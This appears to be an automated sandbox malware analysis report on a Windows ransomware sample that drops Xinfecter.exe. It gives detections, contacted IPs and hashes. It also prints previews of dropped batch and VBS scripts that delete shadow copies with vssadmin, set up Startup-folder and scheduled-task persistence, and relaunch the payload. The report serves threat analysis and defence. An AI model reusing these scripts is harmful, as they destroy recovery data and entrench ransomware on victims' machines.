      Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchdStripped PayloadsInput Capture1
      System Network Configuration Discovery      		Software Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet
      behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1569983 Sample: lEUy79aLAW.exe Startdate: 06/12/2024 Architecture: WINDOWS Score: 100 85 api.ipify.org 2->85 91 Suricata IDS alerts for network traffic 2->91 93 Antivirus detection for dropped file 2->93 95 Antivirus / Scanner detection for submitted sample 2->95 97 14 other signatures 2->97 10 lEUy79aLAW.exe 22 2->10         started        15 cmd.exe 2->15         started        17 Xinfecter.exe 2->17         started        19 cmd.exe 1 2->19         started        signatures3 process4 dnsIp5 87 185.147.34.53, 3586, 49705 HOSTSLIM-GLOBAL-NETWORKNL Iceland 10->87 89 api.ipify.org 104.26.13.205, 49704, 80 CLOUDFLARENETUS United States 10->89 77 C:\Users\user\AppData\...\Xinfecter.exe, PE32 10->77 dropped 79 C:\Windows\SysMain.sys, ASCII 10->79 dropped 81 C:\Users\user\AppData\S-8459.vbs, ASCII 10->81 dropped 83 4 other malicious files 10->83 dropped 109 Deletes shadow drive data (may be related to ransomware) 10->109 111 Drops PE files to the startup folder 10->111 113 Sample is not signed and drops a device driver 10->113 115 Contains functionality to clear event logs 10->115 21 cmd.exe 3 2 10->21         started        23 cmd.exe 1 10->23         started        25 cmd.exe 1 10->25         started        34 8 other processes 10->34 28 wscript.exe 15->28         started        30 conhost.exe 15->30         started        32 conhost.exe 17->32         started        file6 signatures7 process8 signatures9 36 wscript.exe 1 21->36         started        39 systeminfo.exe 2 1 23->39         started        41 find.exe 1 23->41         started        105 Uses schtasks.exe or at.exe to add and modify task schedules 25->105 43 tasklist.exe 1 25->43         started        45 findstr.exe 1 25->45         started        107 Windows Scripting host queries suspicious COM object (likely to drop second stage) 28->107 47 cmd.exe 28->47         started        49 cmd.exe 28->49         started        51 systeminfo.exe 1 34->51         started        53 4 other processes 34->53 process10 signatures11 99 Windows Scripting host queries suspicious COM object (likely to drop second stage) 36->99 55 cmd.exe 1 36->55         started        57 cmd.exe 1 36->57         started        101 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 39->101 103 Writes or reads registry keys via WMI 39->103 59 conhost.exe 47->59         started        61 tasklist.exe 47->61         started        63 find.exe 47->63         started        65 conhost.exe 49->65         started        process12 process13 67 tasklist.exe 1 55->67         started        69 conhost.exe 55->69         started        71 find.exe 1 55->71         started        75 18 other processes 55->75 73 conhost.exe 57->73         started       

      Screenshots

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      lEUy79aLAW.exe87%ReversingLabsWin32.Ransomware.Spora
      lEUy79aLAW.exe100%AviraHEUR/AGEN.1353205
      lEUy79aLAW.exe100%Joe Sandbox ML

      Dropped Files

      SourceDetectionScannerLabelLink
      C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe100%AviraHEUR/AGEN.1353205
      C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe100%Joe Sandbox ML
      C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe87%ReversingLabsWin32.Ransomware.Spora

      Unpacked PE Files

      ⊘No Antivirus matches

      Domains

      ⊘No Antivirus matches

      URLs

      SourceDetectionScannerLabelLink
      http://api.ipify.orgfD0%Avira URL Cloudsafe

      Domains and IPs

      Contacted Domains

      NameIPActiveMaliciousAntivirus DetectionReputation
      api.ipify.org
      		104.26.13.205
      		truefalse
        		high

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        http://api.ipify.org/lEUy79aLAW.exe, 00000000.00000002.3317320966.000000000141C000.00000004.00000020.00020000.00000000.sdmp, lEUy79aLAW.exe, 00000000.00000002.3317320966.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, lEUy79aLAW.exe, 00000000.00000002.3317320966.0000000001404000.00000004.00000020.00020000.00000000.sdmp, lEUy79aLAW.exe, 00000000.00000002.3317218590.00000000012F9000.00000004.00000010.00020000.00000000.sdmpfalse
          		high
          http://api.ipify.orgfDlEUy79aLAW.exe, 00000000.00000002.3317320966.00000000013AF000.00000004.00000020.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          https://www.kraken.com/learn/buy-bitcoin-btclEUy79aLAW.exe, Xinfecter.exe.0.drfalse
            		high
            https://www.coinbase.com/how-to-buy/bitcoinlEUy79aLAW.exe, Xinfecter.exe.0.drfalse
              		high
              http://api.ipify.orglEUy79aLAW.exe, 00000000.00000002.3317320966.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, lEUy79aLAW.exe, 00000000.00000002.3317320966.0000000001404000.00000004.00000020.00020000.00000000.sdmpfalse
                		high

                World Map of Contacted IPs

                • No. of IPs < 25%
                • 25% < No. of IPs < 50%
                • 50% < No. of IPs < 75%
                • 75% < No. of IPs

                Public IPs

                IPDomainCountryFlagASNASN NameMalicious
                104.26.13.205
                		api.ipify.orgUnited States
                		13335CLOUDFLARENETUSfalse
                185.147.34.53
                		unknownIceland
                		207083HOSTSLIM-GLOBAL-NETWORKNLtrue

                General Information

                Joe Sandbox version:41.0.0 Charoite
                Analysis ID:1569983
                Start date and time:2024-12-06 13:41:12 +01:00
                Joe Sandbox product:CloudBasic
                Overall analysis duration:0h 8m 14s
                Hypervisor based Inspection enabled:false
                Report type:full
                Cookbook file name:default.jbs
                Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                Number of analysed new started processes analysed:63
                Number of new started drivers analysed:0
                Number of existing processes analysed:0
                Number of existing drivers analysed:0
                Number of injected processes analysed:0
                Technologies:
                • HCA enabled
                • EGA enabled
                • AMSI enabled
                Analysis Mode:default
                Analysis stop reason:Timeout
                Sample name:lEUy79aLAW.exe
                renamed because original name is a hash value
                Original Sample Name:11ce7e8787a5177ad0f12ce96fc9ca848f463c4608d935f97d940240453ff00d.exe
                Detection:MAL
                Classification:mal100.rans.troj.adwa.evad.winEXE@117/22@1/2
                EGA Information:
                • Successful, ratio: 100%
                HCA Information:
                • Successful, ratio: 96%
                • Number of executed functions: 46
                • Number of non-executed functions: 197
                Cookbook Comments:
                • Found application associated with file extension: .exe

                Warnings

                • Exclude process from analysis (whitelisted): sc.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
                • Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                • Not all processes where analyzed, report is missing behavior information
                • Report size exceeded maximum capacity and may have missing behavior information.
                • Report size exceeded maximum capacity and may have missing disassembly code.
                • Report size getting too big, too many NtOpenKeyEx calls found.
                • Report size getting too big, too many NtProtectVirtualMemory calls found.
                • Report size getting too big, too many NtQueryValueKey calls found.
                • VT rate limit hit for: lEUy79aLAW.exe

                Simulations

                Behavior and APIs

                TimeTypeDescription
                13:42:09AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe
                13:42:10Task SchedulerRun new task: Microsoft_Auto_Scheduler path: "C:\Users\user\AppData\S-2153.bat"

                Joe Sandbox View / Context

                IPs

                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                104.26.13.205Simple1.exeGet hashmaliciousUnknownBrowse
                • api.ipify.org/
                2b7cu0KwZl.exeGet hashmaliciousUnknownBrowse
                • api.ipify.org/
                file.exeGet hashmaliciousUnknownBrowse
                • api.ipify.org/
                file.exeGet hashmaliciousLummaC, PrivateLoader, Stealc, VidarBrowse
                • api.ipify.org/
                file.exeGet hashmaliciousLummaC, PrivateLoader, Stealc, VidarBrowse
                • api.ipify.org/
                file.exeGet hashmaliciousRDPWrap ToolBrowse
                • api.ipify.org/
                Prismifyr-Install.exeGet hashmaliciousNode StealerBrowse
                • api.ipify.org/
                file.exeGet hashmaliciousLummaC, PrivateLoader, Stealc, VidarBrowse
                • api.ipify.org/
                file.exeGet hashmaliciousLummaC, RDPWrap Tool, LummaC Stealer, VidarBrowse
                • api.ipify.org/
                file.exeGet hashmaliciousUnknownBrowse
                • api.ipify.org/
                185.147.34.53GD8c7ARn8q.exeGet hashmaliciousTrojanRansomBrowse
                  8AbMCL2dxM.exeGet hashmaliciousRCRU64, TrojanRansomBrowse
                    Help.File@zohomail.eu_Fast.exeGet hashmaliciousTrojanRansomBrowse
                      Xinfecter.exeGet hashmaliciousTrojanRansomBrowse
                        Ross.dec1966@gmail.com_Fast.bin.exeGet hashmaliciousBabuk, Chaos, Conti, RegretLocker, TrojanRansomBrowse
                          12.exe1Get hashmaliciousBTC, Conti, Neshta, RegretLocker, TrojanRansomBrowse
                            DttL6H1DqQ.exeGet hashmaliciousBabuk, Chaos, ContiBrowse
                              PAvH6odjUO.exeGet hashmaliciousVoidcryptBrowse

                                Domains

                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                api.ipify.orgGD8c7ARn8q.exeGet hashmaliciousTrojanRansomBrowse
                                • 104.26.12.205
                                8AbMCL2dxM.exeGet hashmaliciousRCRU64, TrojanRansomBrowse
                                • 104.26.12.205
                                Simple1.exeGet hashmaliciousUnknownBrowse
                                • 172.67.74.152
                                Simple1.exeGet hashmaliciousUnknownBrowse
                                • 104.26.13.205
                                Simple2.exeGet hashmaliciousUnknownBrowse
                                • 104.26.12.205
                                Simple2.exeGet hashmaliciousUnknownBrowse
                                • 172.67.74.152
                                systemConfigChecker.exeGet hashmaliciousUnknownBrowse
                                • 172.67.74.152
                                systemConfigChecker.exeGet hashmaliciousUnknownBrowse
                                • 172.67.74.152
                                kYGxoN4JVW.batGet hashmaliciousUnknownBrowse
                                • 172.67.74.152
                                REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exeGet hashmaliciousAgentTeslaBrowse
                                • 104.26.13.205

                                ASNs

                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                HOSTSLIM-GLOBAL-NETWORKNLGD8c7ARn8q.exeGet hashmaliciousTrojanRansomBrowse
                                • 185.147.34.53
                                8AbMCL2dxM.exeGet hashmaliciousRCRU64, TrojanRansomBrowse
                                • 185.147.34.53
                                la.bot.sparc.elfGet hashmaliciousUnknownBrowse
                                • 213.166.86.57
                                cenSXPimaG.elfGet hashmaliciousMirai, OkiruBrowse
                                • 213.166.86.22
                                SWIFT COPY.exeGet hashmaliciousFormBookBrowse
                                • 103.214.4.45
                                REMITTANCE SLIP.exeGet hashmaliciousFormBookBrowse
                                • 103.214.4.45
                                STATEMENT OF ACCOUNT.exeGet hashmaliciousFormBookBrowse
                                • 103.214.4.45
                                PAYMENT SWIFT.exeGet hashmaliciousFormBookBrowse
                                • 103.214.4.45
                                PAYMENT RECEIPT.exeGet hashmaliciousFormBookBrowse
                                • 103.214.4.45
                                hsbc Wire copy.exeGet hashmaliciousFormBookBrowse
                                • 103.214.4.45
                                CLOUDFLARENETUSGD8c7ARn8q.exeGet hashmaliciousTrojanRansomBrowse
                                • 104.26.12.205
                                8AbMCL2dxM.exeGet hashmaliciousRCRU64, TrojanRansomBrowse
                                • 104.26.12.205
                                file.exeGet hashmaliciousLummaC StealerBrowse
                                • 104.21.16.9
                                https://rnicrosoft-secured-office.squarespace.com/sharepoint?e=test@test.com.auGet hashmaliciousHTMLPhisherBrowse
                                • 104.21.25.148
                                https://i.postimg.cc/y6hBTtv7/png-Hand-SAward.pngGet hashmaliciousHTMLPhisherBrowse
                                • 104.21.85.204
                                file.exeGet hashmaliciousLummaC StealerBrowse
                                • 172.67.165.166
                                phish_alert_sp2_2.0.0.0.emlGet hashmaliciousUnknownBrowse
                                • 104.18.69.40
                                Simple1.exeGet hashmaliciousUnknownBrowse
                                • 172.67.74.152
                                Pr9cqW75nY.lnkGet hashmaliciousUnknownBrowse
                                • 104.18.10.207
                                G3vWD786PN.lnkGet hashmaliciousUnknownBrowse
                                • 104.18.11.207

                                JA3 Fingerprints

                                ⊘No context

                                Dropped Files

                                ⊘No context

                                Created / dropped Files

                                C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\QUZ8I12C.txt

                                Download File
                                Process:C:\Users\user\Desktop\lEUy79aLAW.exe
                                File Type:ASCII text, with no line terminators
                                Category:modified
                                Size (bytes):12
                                Entropy (8bit):2.6258145836939115
                                Encrypted:false
                                SSDEEP:3:fuM9:2I
                                MD5:E4A5E3AE7A904A86A50AE5FC1A38F374
                                SHA1:0B536BF59DE491CCC2CAA8AE52200CD6B61364E9
                                SHA-256:4EF53CF7C95DBE1BE9AC5E3D7465B91B911FD5C198EB161A55AF5579D9390C1A
                                SHA-512:17D3508E7E847B91E84A06BA32BAD9A6CEC55373EE877E1163AB74EF4E18A72C38DD43897BE21E26556CBDE58DF9446E06B59B2BB37CC0321B5228D57C80A146
                                Malicious:false
                                Preview:8.46.123.228

                                C:\Users\user\AppData\N-Save.sys

                                Download File
                                Process:C:\Users\user\Desktop\lEUy79aLAW.exe
                                File Type:ASCII text, with very long lines (3460), with no line terminators
                                Category:dropped
                                Size (bytes):3460
                                Entropy (8bit):6.012690004646518
                                Encrypted:false
                                SSDEEP:96:dYbg5mxkMFPSHGbChpmCBPvOUjzOVUg+iZTOplL9:TSOH7hpmCT2Vr+iox
                                MD5:CC714F20E9F6B432BA0758D2CA0CA860
                                SHA1:FDE0D3558931F67AC36E93973793D74F33EDC38C
                                SHA-256:2BF52938D407794F9EBCD852B4140A2FA9ABF4CCE47F003150A7D633F9BFDAE6
                                SHA-512:23EC74CE38F6A077280B8E48B6DF1CE30145C18C3F12039DCDAA0B2CF27C128F79E1E18A79570A9EBF08FFBE312C0C5AF9843A8AB2432AB6D21F9EB56D84BA62
                                Malicious:true
                                Preview:$0TS8nlPvLeHIhb1Q7IcqeQbHuDLNJXrmcrdCMko49EMFfYMxjB3aHOwsRBk1e/G55ZHb3+YTmm9oihsAANmYg38GlRyQ9JagTsv3Ojjl6brE0TlXSIQA5rv/HH4nLmupC1Y/crsYOg5gVM+ukCZ2XqkWFVXAGo+tpLeRHKayjBbbOA5tzOnkLCfOFkFWM92qil7Q6opijILBA1mHO29Aa5DQKyyouBLdzYFJMEsN5ciPIT4anL7L+uNy+3g2bFjdtzMxvk/j3AggU9qb/zvB6iflpPRDTQRdQmcsP0vHRNIYyjpfSRxYjjXcDQxBUjtv6nCdJeVJWD1vU1/eAtrLJmQ==$1L8dbBJu2y7KVMj8ds7HcVtk+N5Q2aHOX1VV06mKcdWPnrXADNGGkFqcpFrdj/A4axqYm7dJhwGptPiVm1nzMhymudrPn58zvdTga25XAkstcio+jpd2LjObA4tP/UR50s7SbjhTeeNvCb1IOFAxDc0ivPkCUPqpGfCK3iR6inUH3DE+ncNKacahEiCoBzKdoTMqJDKA3YvXH84aV7JOpxbjxg8CS9upoPNiUG9LLq9fpiIBZcPPHazObEuYeRoNnXKdx1Zy0ePQIBGFPPNjMmAkXIOZMqTf1VBRNoUaYFv6cjPZ4Cf/sB4Nwhq8v3Ms5DzqMR531QypUu3BgoIk6Rg==$2vYrStl0nANC6bZCW3vJsbMZiIwtBr/KXmimHjD8bsvUVzIsIlRP3OeUUY6oym+HU3UmJe+eBT+MvYhNUmvdpFA1QkVU8ta1ExQHH2kIeiwMZAG+2SIc6938E9AeL/3+eNV2Tm01KNS0WtNB36PGAmuFwDnDZPh7yNquA2n3CNxdRFLZccmVvLJCL9oYo8LVCpm5Q0K3Qynu+R4oUkv9LnJgaqEKwBxTInq3ue+r1xzGToYoIObLK46Fs0VImzQop3X/2ReSXePj+YJYwsqPyAijOOsukNP0woooYlaxCzh8hkMIoSn

                                C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe

                                Download File
                                Process:C:\Users\user\Desktop\lEUy79aLAW.exe
                                File Type:PE32 executable (console) Intel 80386, for MS Windows
                                Category:dropped
                                Size (bytes):1257984
                                Entropy (8bit):6.588072766109981
                                Encrypted:false
                                SSDEEP:24576:5A4Lon3mT91eozjjwgCT13ssRJRuTB4yWTrUa+9MoK2jzblGvBroIGXw1:bLOg1eoz7a1JRuTBYrMMajzblCBroIG+
                                MD5:682DB93E884F81383CE078DF1353FF1B
                                SHA1:5FF824A3FA5C45E5DE5853E643AA1DA058C9878D
                                SHA-256:11CE7E8787A5177AD0F12CE96FC9CA848F463C4608D935F97D940240453FF00D
                                SHA-512:D6A0B1FB46C880991292FEDDF15EE69160DEBD806ABF031E467D02C1D9DC4F14F7B2B3E435A47425BF2654A717BEFF9AF390D217418A4EB11132820715EFB70E
                                Malicious:true
                                Antivirus:
                                • Antivirus: Avira, Detection: 100%
                                • Antivirus: Joe Sandbox ML, Detection: 100%
                                • Antivirus: ReversingLabs, Detection: 87%
                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Jid.+.7.+.7.+.7,..7.+.7,..7++.7,..7.+.7,A.6.+.7,A.6.+.7,A.6.+.7.S.7.+.7.+.7A+.7.@.6.+.7.@.6.+.7.@.7.+.7.@.6.+.7Rich.+.7................PE..L...o;.e............................1........0....@.......................................@.....................................................................(...pV..8...................LW.......V..@............0..(............................text............................... ..`.rdata.......0......................@..@.data...x...........................@....rsrc................X..............@..@.reloc..(............Z..............@..B................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe:Zone.Identifier

                                Download File
                                Process:C:\Users\user\Desktop\lEUy79aLAW.exe
                                File Type:ASCII text, with CRLF line terminators
                                Category:dropped
                                Size (bytes):26
                                Entropy (8bit):3.95006375643621
                                Encrypted:false
                                SSDEEP:3:ggPYV:rPYV
                                MD5:187F488E27DB4AF347237FE461A079AD
                                SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                Malicious:true
                                Preview:[ZoneTransfer]....ZoneId=0

                                C:\Users\user\AppData\S-2153.bat

                                Download File
                                Process:C:\Users\user\Desktop\lEUy79aLAW.exe
                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                Category:dropped
                                Size (bytes):138
                                Entropy (8bit):4.970414275542141
                                Encrypted:false
                                SSDEEP:3:mKDD/j2hFHTnmTPcYWA6/hEREVdPTHAF6vWEzn9TmTPcYWA6/hEREVdPTHAoU:hGh9TnmTPYA6/Si3rHV7TQTPYA6/Si36
                                MD5:82A528CBF39B8EA7E2982E7B2305204C
                                SHA1:717836E0E2B304ED7AE239CC1DB0F6F80E0419B1
                                SHA-256:616738526C38E04F992B7B9FC60CB7FEB3EE416BF47B69AA2C3A5F1A722A653B
                                SHA-512:EFF7654E171DBD9BC471718A7E14EE3C84A9EDF948F4C8863C8107E653BE8BA06BC7A2876D506D6E4AE7EF2280E820D04615EBCD88894EF01B3667D070241DB3
                                Malicious:true
                                Preview:@echo off..IF EXIST "%SystemDrive%\Users\%username%\AppData\S-8459.vbs" (..start "" "%SystemDrive%\Users\%username%\AppData\S-8459.vbs"..)

                                C:\Users\user\AppData\S-6748.bat

                                Download File
                                Process:C:\Users\user\Desktop\lEUy79aLAW.exe
                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                Category:dropped
                                Size (bytes):1849
                                Entropy (8bit):5.369196636485776
                                Encrypted:false
                                SSDEEP:48:NKsukhnuYWnui9Njq5uhnuYWnuiGhnuYZaj5Xuvnc4hg0hLdY:7ZkYlirqIkYliGkYZaj5Xu/BJnY
                                MD5:8B03D4003822FD919A4CE8912A53C6FB
                                SHA1:9171427E18887336F12AA12E9E556B64E01319DD
                                SHA-256:8B5231E71AE510A448F40468E92CD89A428040DFA054A36833C146D3DB3883A2
                                SHA-512:4DBEB8E44D4B6B92ED7585BB7855D3CBA81C0AF750A2BA5FB666E9EF949B8B775BEFAC09F393C0EFE41AAC43E6FD52595FAB3BFF43AFA73DCBEC944F8EB6B59E
                                Malicious:true
                                Preview:@echo off..tasklist /v | find /I /c "dcdcf" > nul..if "%ERRORLEVEL%" == "0" goto ErrorAlreadyRunning..set lend=deb..vssadmin.exe Delete Shadows /All /Quiet..title dcdcf..goto notend..:ErrorAlreadyRunning..exit..:secthree..tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv 2>NUL | find /I "lEUy79aLAW.exe">NUL..if "%ERRORLEVEL%"=="0" goto imer..if %lend% == bed (goto akakak)..set lend=bed..IF EXIST "%SystemDrive%\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" (..start /d "%SystemDrive%\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" Xinfecter.exe ..)..:secttwo..tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv 2>NUL | find /I "lEUy79aLAW.exe">NUL..if "%ERRORLEVEL%"=="0" goto notend..goto secton..:notend..timeout /t 15 /nobreak >NUL..IF NOT EXIST "C:\Users\ReadMe.hta" (..goto secttwo..:secton..IF EXIST "%SystemDrive%\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe"

                                C:\Users\user\AppData\S-8459.vbs

                                Download File
                                Process:C:\Users\user\Desktop\lEUy79aLAW.exe
                                File Type:ASCII text, with CRLF line terminators
                                Category:dropped
                                Size (bytes):686
                                Entropy (8bit):5.1743757294368
                                Encrypted:false
                                SSDEEP:12:MDhOfTK2Opx6/SYSHFagnXoWHgvvT9vTnMS8h92Mbx6/SYTlZ7D:s6f9/SY7UgDVnMS8j2Mbs/SYTlZH
                                MD5:ED7A274FF8AC640416952BFB5D6C927A
                                SHA1:6B33CD5B39DB6E9A900336E446F64A137F0A0F42
                                SHA-256:4D68E4A7A437EB4A7AD9C7B28BDDA894A68AE41EFBA8A5E4D3A6A930BEBFEEA5
                                SHA-512:8F3A4F071550AFE716C5D39601CF1E8559084FBB701E95B28EB7685FED6D8A972E662AD19124A2242FD30C291B8DD1F18F1A2DCF56AC6C98F2BF96BAC91510F3
                                Malicious:true
                                Preview:Dim strScript..Dim oExec, oWshShell..Dim ComSpec..Set oWshShell = CreateObject("WScript.Shell")..ComSpec = oWshShell.ExpandEnvironmentStrings("%comspec%")..strScript = ComSpec & " /C echo %SystemDrive%\Users\%username%\AppData\S-6748.bat"..Set oExec = oWshShell.Exec (strScript)..Dim outputsxc..outputsxc = oExec.StdOut.ReadAll()..Set fso = CreateObject("Scripting.FileSystemObject")..outputsxc = Replace(outputsxc, vbCr, "")..outputsxc = Replace(outputsxc, vbLf, "")..If (fso.FileExists(outputsxc)) Then..Set WinScriptHost = CreateObject("WScript.Shell")..WinScriptHost.Run Chr(34) & "%SystemDrive%\Users\%username%\AppData\S-6748.bat" & Chr(34), 0..Set WinScriptHost = Nothing..End If

                                C:\Windows\SysMain.sys

                                Download File
                                Process:C:\Users\user\Desktop\lEUy79aLAW.exe
                                File Type:ASCII text, with very long lines (417), with no line terminators
                                Category:dropped
                                Size (bytes):417
                                Entropy (8bit):5.907048149552867
                                Encrypted:false
                                SSDEEP:12:BwSxBxOCI4MmuYsibZL9Jov0n9Vp4ZOH3S9jirXEp:B7gCI4+YoQrpAOH3SBXp
                                MD5:D5E340673E8356788EE0AA7FF681FDF9
                                SHA1:483261148FD512E8F6575D618F1B69E91D62AFF2
                                SHA-256:71EC4F9A933947BE9CDC9AA2DF39EBDB52C4E1D3BEB7083EFB1EC60D23D23D1F
                                SHA-512:498E413E2C443E7EE0548053FF7DBE90BB5B58F34FAD045461099B70FA649F923B2834909790A31A05CA7A2DC67779104FC8FBD3E34FB21FEFCFE575CF2A4EC5
                                Malicious:true
                                Preview:n7t0MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEApWhyYqWDDUtUwmyAysi+bVGizh9sVGc6NgA1gYnJxJGBCnpTy5PZi81YmcaoiUKXl0NS/7GCfuyCRoXy1d/BMUXopj7NytY21MYdLxmvsyWFXbWM3T92FJstgZaNv1GrQDaR2WZAF0yrjriknXTjhqdsFxog3Mo543MMonOJqgsshcWVu3u4sIzRzmUXqi6M9fiov17YDLH4ePqkqYjLQ8PV7xth2x/a8p2ZDtuEpccOWUhCuT+UMLxK1b5c6xUogDcnEtmQV730X8mMgNasEFUKu2HQxqWTJ1PCXneHDaSdg+/YFDlfnYQd0NcLUMqoev9/ds6/kqqbFKzkDVX1GwIBEQ==p2h64O99Nu4g8.2QNh2gq

                                \Device\Null

                                Download File
                                Process:C:\Windows\SysWOW64\find.exe
                                File Type:ASCII text, with CRLF line terminators
                                Category:dropped
                                Size (bytes):50
                                Entropy (8bit):4.469275070710713
                                Encrypted:false
                                SSDEEP:3:fMyJJW/GDup2y:UqYTpX
                                MD5:F1A7AB21FF048B7ADC2CD2F0DB4D6CAA
                                SHA1:5B1E74A2C933603E63CE8CA65714729105B81F46
                                SHA-256:5CA03315138C0FA4C9C7DB4628090168547B1E8AC9DAAF51F08CE4D4C0474C2D
                                SHA-512:2D0BF0F57E011E02D9E36C40D61E02ACE023CFE47FF38DBE799184F89FEB323469433B983676E2B60176DEF917A356997B84C37870C04215E1094FD4D91B9BF7
                                Malicious:false
                                Preview:"lEUy79aLAW.exe","3332","Console","1","15'560 K"..

                                Static File Info

                                General

                                File type:PE32 executable (console) Intel 80386, for MS Windows
                                Entropy (8bit):6.588072766109981
                                TrID:
                                • Win32 Executable (generic) a (10002005/4) 99.96%
                                • Generic Win/DOS Executable (2004/3) 0.02%
                                • DOS Executable Generic (2002/1) 0.02%
                                • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                File name:lEUy79aLAW.exe
                                File size:1'257'984 bytes
                                MD5:682db93e884f81383ce078df1353ff1b
                                SHA1:5ff824a3fa5c45e5de5853e643aa1da058c9878d
                                SHA256:11ce7e8787a5177ad0f12ce96fc9ca848f463c4608d935f97d940240453ff00d
                                SHA512:d6a0b1fb46c880991292feddf15ee69160debd806abf031e467d02c1d9dc4f14f7b2b3e435a47425bf2654a717beff9af390d217418a4eb11132820715efb70e
                                SSDEEP:24576:5A4Lon3mT91eozjjwgCT13ssRJRuTB4yWTrUa+9MoK2jzblGvBroIGXw1:bLOg1eoz7a1JRuTBYrMMajzblCBroIG+
                                TLSH:C245AE207542C132D56182F05D7CEB9AD0ADBD384F758ACBB3C46B2E4A315D25E36E63
                                File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Jid.+.7.+.7.+.7,..7.+.7,..7++.7,..7.+.7,A.6.+.7,A.6.+.7,A.6.+.7.S.7.+.7.+.7A+.7.@.6.+.7.@.6.+.7.@.7.+.7.@.6.+.7Rich.+.7.......

                                File Icon

                                Icon Hash:00928e8e8686b000

                                Static PE Info

                                General

                                Entrypoint:0x490f31
                                Entrypoint Section:.text
                                Digitally signed:false
                                Imagebase:0x400000
                                Subsystem:windows cui
                                Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                Time Stamp:0x65D53B6F [Tue Feb 20 23:53:19 2024 UTC]
                                TLS Callbacks:0x490570
                                CLR (.Net) Version:
                                OS Version Major:5
                                OS Version Minor:1
                                File Version Major:5
                                File Version Minor:1
                                Subsystem Version Major:5
                                Subsystem Version Minor:1
                                Import Hash:f527e8080fac9432953c548a4f7317af

                                Entrypoint Preview

                                Instruction
                                call 00007F5048CE1947h
                                jmp 00007F5048CE0AC9h
                                int3
                                int3
                                int3
                                int3
                                int3
                                cmp cl, 00000040h
                                jnc 00007F5048CE0C67h
                                cmp cl, 00000020h
                                jnc 00007F5048CE0C58h
                                shrd eax, edx, cl
                                shr edx, cl
                                ret
                                mov eax, edx
                                xor edx, edx
                                and cl, 0000001Fh
                                shr eax, cl
                                ret
                                xor eax, eax
                                xor edx, edx
                                ret
                                int3
                                push esi
                                mov eax, dword ptr [esp+14h]
                                or eax, eax
                                jne 00007F5048CE0C7Ah
                                mov ecx, dword ptr [esp+10h]
                                mov eax, dword ptr [esp+0Ch]
                                xor edx, edx
                                div ecx
                                mov ebx, eax
                                mov eax, dword ptr [esp+08h]
                                div ecx
                                mov esi, eax
                                mov eax, ebx
                                mul dword ptr [esp+10h]
                                mov ecx, eax
                                mov eax, esi
                                mul dword ptr [esp+10h]
                                add edx, ecx
                                jmp 00007F5048CE0C99h
                                mov ecx, eax
                                mov ebx, dword ptr [esp+10h]
                                mov edx, dword ptr [esp+0Ch]
                                mov eax, dword ptr [esp+08h]
                                shr ecx, 1
                                rcr ebx, 1
                                shr edx, 1
                                rcr eax, 1
                                or ecx, ecx
                                jne 00007F5048CE0C46h
                                div ebx
                                mov esi, eax
                                mul dword ptr [esp+14h]
                                mov ecx, eax
                                mov eax, dword ptr [esp+10h]
                                mul esi
                                add edx, ecx
